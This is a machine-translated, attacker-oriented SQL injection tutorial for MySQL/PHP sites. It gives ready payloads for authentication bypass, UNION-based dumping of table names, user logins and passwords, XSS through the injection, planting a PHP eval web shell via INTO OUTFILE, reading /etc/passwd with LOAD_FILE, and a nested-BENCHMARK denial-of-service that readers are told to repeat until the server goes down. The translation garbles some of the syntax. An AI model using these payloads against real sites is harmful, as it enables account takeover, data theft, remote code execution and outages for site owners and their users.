This page has been robot translated, sorry for typos if any. Original content here.

SQL Injection [full FAQ]



  • 0.INTRO
  • 1. HOW TO FIND SQL INJECTION
  • 2. WHAT AND HOW IT CAN BE EXTRACTED FROM THIS USEFUL
  • 3. WHAT TO DO IF OUTPUT FILES ARE NOT AVAILABLE.
  • 4. WHAT TO DO IF SOMETHING IS FILTERED.
  • 5. USEFUL FUNCTIONS IN MYSQL
  • 6. HOW TO PROTECT FROM SQL INJECTION
  • 7. ADDITIONS


  • 0.INTRO


    Climbing the Internet in search of at least some kind of SQL injection info, you probably often came across articles that were either very short or incomprehensible, or covering one topic or something else that certainly didn’t suit you. Once I collected somewhere articles 10-20 on this topic to delve into the many subtleties of this vulnerability. And recalling those times, I decided to write a full FAQ on this topic, so that the rest would not be tormented, so to speak. And another request. Those who find that I missed something, made a mistake somewhere, etc., please, write down below, it’s hard anyway, keep everything in mind :) . By the way this is my first article, please do not throw tomatoes, and do not kick.

    Not the first day, being carried away by hacking, you probably know what SQL injection is; if not, then this article is for you. SQL injection further simply injection is a type of attack in which the cracker modifies the original query to the database so that when the query is executed, the information it needs from the database is displayed.

    To learn this article, you need:
    a) the presence of brains
    b) Straight arms
    c) Knowledge of SQL

    Basically this article was written for MYSQL + PHP, but there are a couple of examples with MSSQL.

    In general, in my opinion, the best way to learn how to work with SQL injection correctly is not to read this article, but a live practice , for example, to write a vulnerable script yourself, or use my one at the very end.

    By the way, I advise you to read everything in a row because in each paragraph there is something important for the next paragraph, etc.

    1. HOW TO FIND SQL INJECTION

    It's pretty simple. You must insert double and single quotes in all fields, variables, cookies.

    1.1 second first

    Let's start with this script

    1 . Suppose that the original database query looks like this:
    SELECT * FROM news WHERE id=' 1 '; Now we will add the quotation mark in the variable "id", like this - if the variable is not filtered and error messages are included, something like that will come out:

    mysql_query (): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1' '

    Since in the query to the database there will be an extra quote:
    SELECT * FROM news WHERE id=' 1' '; If the error report is turned off, then in this case it is possible to determine the existence of a vulnerability like this (It would also not hurt to not confuse it with clause 1.4. As described in the same clause): That is, the database query will become like this:
    SELECT * FROM news WHERE id=' 1'; -- '; (For those who are in the tank “-“ this is a sign of the beginning of the comment everything after it will be discarded, I also want to draw your attention to the fact that after it there must be a space (This is written in the documentation for MYSQL) and by the way in front of it too). Thus, for MYSQL, the query remains the same and the same is displayed as for http: //xxx/news.php? Id = 1
    The whole point 2 is devoted to what to do with this vulnerability.

    1.2 Second case

    SQL has a LIKE statement. It is used to compare strings. Let’s say the authorization script asks for the database when entering the login and password like this:
    SELECT * FROM users WHERE login LIKE 'Admin' AND pass LIKE '123';

    Even if this script filters the quote, it still remains vulnerable to injection. We need to enter "%" instead of the password (For the LIKE operator, the symbol "%" matches any line) and then the request will become
    SELECT * FROM users WHERE login LIKE 'Admin' AND pass LIKE '%';

    and they will let us in with the username 'Admin'. In this case, we not only found SQL injection but also successfully used it.

    1.3 Third case

    What to do if there is no quotation mark check in the same authorization script. IMHO it will be at least silly to use this injection to display some sort of information. Let the database query be of the type:
    SELECT * FROM users WHERE login = 'Admin' AND pass = '123';

    Unfortunately the password '123' does not work :) , but we found the injection we will allow in the parameter 'login' and to register under the nickname 'Admin' we need to enter instead something like this Admin '; - that is, the part with password verification is discarded and we enter under the nickname 'Admin'.
    SELECT * FROM users WHERE login = ' Admin'; - 'AND pass =' ​​123 ';

    And now what to do if the vulnerability is in the 'pass' field. We enter the following 123 'OR login =' Admin '; - . The request will become like this:
    SELECT * FROM users WHERE login = 'Admin' AND pass = '123' OR login = 'Admin'; - ';

    That for a DB it will be absolutely indeintic to such request:
    SELECT * FROM users WHERE (login = 'Admin' AND pass = '123') OR (login = 'Admin');

    And after these actions we will become the full owner of the account with the login 'Admin'.

    1.4 Fourth case

    Back to the news script. From the SQL language, we must remember that numeric parameters are not put in quotes, that is, with this call to the script http: //xxx/news.php? Id = 1, the database query looks like this:
    SELECT * FROM news WHERE id = 1 ;

    You can also detect this injection by substituting quotation marks in the 'id' parameter and then the same error message will pop up:

    mysql_query (): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1' '

    If this message does not crawl, then you can understand that the quote is filtered and you need to enter http: //xxx/news.php? Id = 1 bla-bla-bla
    The database will not understand what kind of blah blah blah blah and it will give an error message like:

    mysql_query (): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1 bla-bla-bla'

    If the error report is turned off, then check like this http: //xxx/news.php? Id = 1; -
    It should display just like http: //xxx/news.php? Id = 1

    Now you can go to step 2.

    2. WHAT AND HOW IT CAN BE EXTRACTED FROM THIS USEFUL

    Only the type of vulnerability described in paragraph 1.1 will be considered further, and you can do it yourself for the rest, it’s not difficult :)

    2.1 UNION Team

    To begin with, the most useful is the UNION command (who does not know to google ) ...
    Modify the script call http: //xxx/news.php? Id = 1 'UNION SELECT 1 - . The query to the database is obtained here like this:
    SELECT * FROM news WHERE id = '1' UNION SELECT 1 - ';


    2.1.1.1 Selection of the number of fields (Method 1)

    Without forgetting that the number of columns before and after UNION should correspond, an error will surely come out (unless there is one column in the news table) like:

    mysql_query (): The used SELECT statements have a different number of columns

    In this case, we need to select the number of columns (so that their number would be before UNION and after corresponding). We do it like this:

    http: //xxx/news.php? id = 1 'UNION SELECT 1, 2 -
    Mistake. " The used SELECT statements have a different number of columns "

    http: //xxx/news.php? id = 1 'UNION SELECT 1,2,3 -
    Error again.
    ...

    http: //xxx/news.php? id = 1 'UNION SELECT 1,2,3,4,5,6 -
    ABOUT! It was displayed just like http: //xxx/news.php? Id = 1
    it means the number of fields is selected, that is, there are 6 of them ...


    2.1.1.2 Selection of the number of fields (Method 2)

    And this method is based on the selection of the number of fields using GROUP BY . That is, a request of this type:

    http: //xxx/news.php? id = 1 'GROUP BY 2 -

    It will be displayed without errors if the number of fields is less than or equal to 2.
    We make a request of this type:

    http: //xxx/news.php? id = 1 'GROUP BY 10 -

    Oops ... There was a type error.

    mysql_query (): Unknown column '10' in 'group statement'

    So the columns are less than 10. Divide 10 by 2. And make a request

    http: //xxx/news.php? id = 1 'GROUP BY 5 -


    There is no error, it means the number of columns is greater than or equal to 5 but less than 10. Now we take the average value between 5 and 10, it turns out like 7. We make the request:

    http: //xxx/news.php? id = 1 'GROUP BY 7 -

    Oh, mistake again ... :(

    mysql_query (): Unknown column '7' in 'group statement'

    So the number is greater than or equal to 5 but less than 7. Well, then we make a request

    http: //xxx/news.php? id = 1 'GROUP BY 6 -

    There are no errors ... So the number is greater than or equal to 6 but less than 7. It follows that the required number of columns is 6.

    2.1.1.3 Selection of the number of fields (Method 3)

    The same principle as in clause 2.1.1.2 only uses the ORDER BY function. And the error text changes slightly if there are more fields.

    mysql_query (): Unknown column '10' in 'order clause'

    2.1.2 Defining output columns

    I think that for many of us this page just like http: //xxx/news.php? Id = 1 will not work. So we need to make sure that nothing is displayed on the first request (before UNION ). The simplest thing is to change the "id" from '1' to '-1' (or to '9999999')
    http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3,4,5,6 - Now we have to display some of these numbers somewhere in the page. (For example, since this is conditionally a news script, then in “News Title” it will be displayed 3, “News” -4 and so on). Now, in order to get any information, we need to replace these numbers in the script with the functions we need. If the numbers are not displayed anywhere, then the remaining subparagraphs of paragraph 2.1 can be skipped.

    2.1.3 SIXSS (SQL Injection Cros Site Scripting)

    This same XSS only through a database query. Example:
    http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3,' <script> alert ('SIXSS') </script> ', 5,6 - Well, I think it's not difficult to understand what 4 in the page will be replaced by <script> alert ('SIXSS') </script> and, accordingly, the same XSS will turn out.

    2.1.4 Column / Table Names

    If you know the names of tables and columns in the database, you can skip this item
    If you don’t know ... There are two ways.

    2.1.4.1 Column / table names if there is access to INFORMATION_SCHEMA and if MYSQL version> = 5

    The INFORMATION_SCHEMA.TABLES table contains information about all the tables in the database, the column TABLE_NAME-names of the tables.
    http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3, TABLE_NAME, 5,6 FROM INFORMATION_SCHEMA.TABLES - This may cause a problem. Since only the first line from the database response will be displayed. Then we need to use LIMIT like this:

    The output of the first line:
    http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3, TABLE_NAME, 5,6 FROM INFORMATION_SCHEMA.TABLES LIMIT 1,1 -

    The output of the second line:
    http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3, TABLE_NAME, 5,6 FROM INFORMATION_SCHEMA.TABLES LIMIT 2,1 - etc.

    Well, we found the Users table. Only this ... ahem ... the columns do not know ... Then the INFORMATION_SCHEMA.COLUMNS table comes to the aid of the column COLUMN_NAME contains the name of the column in the table TABLE_NAME . This is how we retrieve the column names

    http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3, COLUMN_NAME, 5,6 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME =' Users' LIMIT 1,1 -

    http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3, COLUMN_NAME, 5,6 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME =' Users' LIMIT 2,1 -
    etc.

    And so we found the login , password fields.

    2.1.4.2 Column / table names if there is no access to INFORMATION_SCHEMA

    This is an ass option :( .There normal brutofors comes into force ... Example:

    http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3,4,5,6 FROM Table_name -

    It is necessary to select Table_Name until an error message like:

    mysql_query (): Table ' TableName ' doesn't exist

    Well, we introduced to our happiness Users, an error message disappeared, and the page displayed as if http: //xxx/news.php? Id = -1 'UNION SELECT 1,2,3,4,5,6 - what does it mean ? This means that the Users table exists and you need to start sorting through the columns.

    http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3, Column_name , 5,6 FROM Users -

    You need to select Column_Name until an error message like:

    mysql_query (): Unknown column ' Column_name ' 'in' field list '

    Where the error message disappears, then such a column exists.

    And so we learned that in the Users table there are login , password columns.

    2.1.5 Information output

    Access to the script in this way http: //xxx/news.php? Id = -1 'UNION SELECT 1,2, login, password, 5,6 FROM Users LIMIT 1,1 - Displays username and password of the first user from the table Users

    2.2 Work with files

    2.2.1 Write to file

    MYSQL has such an interesting function like SELECT ... INTO OUTFILE that allows you to write information to a file. Or such a SELECT ... INTO DUMPFILE construct, they are almost similar and you can use any.

    Example: http: //xxx/news.php? Id = -1 'UNION SELECT 1,2,3,4,5,6 INTO OUTFILE' 1.txt '; -


    Several limitations work for her.
    • Forbidden to overwrite files
    • FILE type privileges required
    • (!) Required real habits in specifying the file name

    But what would stop us from making the web go? Here's an example:

    http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3,' <? php eval ($ _ GET ['e'])?> ', 5,6 INTO OUTFILE' 1.php '; -

    It remains only to find the full path to the root of the site on the server and append it before 1.php. In principle, you can find another error in the report which will show the path on the server or leave it in the root of the server and pick it up with a local inclusion, but this is another topic.

    2.2.2 Reading files

    Consider the function LOAD_FILE

    Example: http: //xxx/news.php? Id = -1 'UNION SELECT 1,2, LOAD_FILE (' etc / passwd '), 4,5,6;

    There are also several limitations to her.
    • The full path to the file must be specified.
    • FILE type privileges required
    • The file must be on the same server
    • The size of this file must be less than specified in max_allowed_packet
    • The file must be opened for reading by the user under which MYSQL is running

    If the function cannot read the file, then it returns NULL.

    2.3 DOS attack on SQL server

    In most cases, the SQL server is down because they cannot do anything else. Type it was not possible to learn tables / columns, there are no rights to it, there are no rights to that, etc. I'm honestly against this method but still ...

    Get to the point ...
    The BENCHMARK function performs the same action several times.
    SELECT BENCHMARK (100000, md5 (current_time));

    That is, here this function does md5 (current_time) 100,000 times, which takes about 0.7 seconds on my computer ... It seemed like this ... And if you try the embedded BENCHMARK ?

    SELECT BENCHMARK (100000, BENCHMARK (100000, md5 (current_time)));

    It takes a very long time to be honest, I didn’t even wait ... I had to do a reset :) .
    Dos example in our case:

    http: //xxx/news.php? id = -1 'UNION SELECT 1, 2, BENCHMARK (100000, BENCHMARK (100000, md5 (current_time))), 4, 5, 6; -

    It’s enough 100 times to poke F5 and “the server will fall into a completely down”))).